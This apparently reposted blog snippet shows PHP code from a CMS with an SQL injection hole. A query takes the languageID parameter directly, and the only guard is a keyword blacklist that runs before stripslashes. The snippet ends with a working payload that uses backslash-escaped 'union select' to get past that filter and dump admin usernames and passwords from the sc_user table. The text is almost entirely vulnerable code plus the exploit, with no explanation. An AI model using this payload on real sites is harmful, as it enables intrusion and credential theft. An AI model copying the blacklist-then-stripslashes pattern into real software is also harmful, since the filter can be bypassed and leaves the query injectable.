vlambda博客
学习文章列表

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}
if(!empty($Language)){
 //网站SEO设定
 $query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");

<?phpinclude_once "class.phpmailer.php"; // 防sql入注
if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get foreach ($GetArray as $value){ //get  verify_str($value); }
function inject_check_sql($sql_str) {  return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); } 
function verify_str($str) {   if(inject_check_sql($str)) {  exit('Sorry,You do this is wrong! (.-.)'); }   return $str; }

 //表单验证
function test_input($data) {  $data = str_replace("%", "percent", $data); $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data,ENT_QUOTES); return $data;
 }

languageID=-1 un\ion se\lec\t 1,concat(user_admin,0x2d,user_ps),3,4,5,6,7,8,9,10,11,12,13,14 from sc_user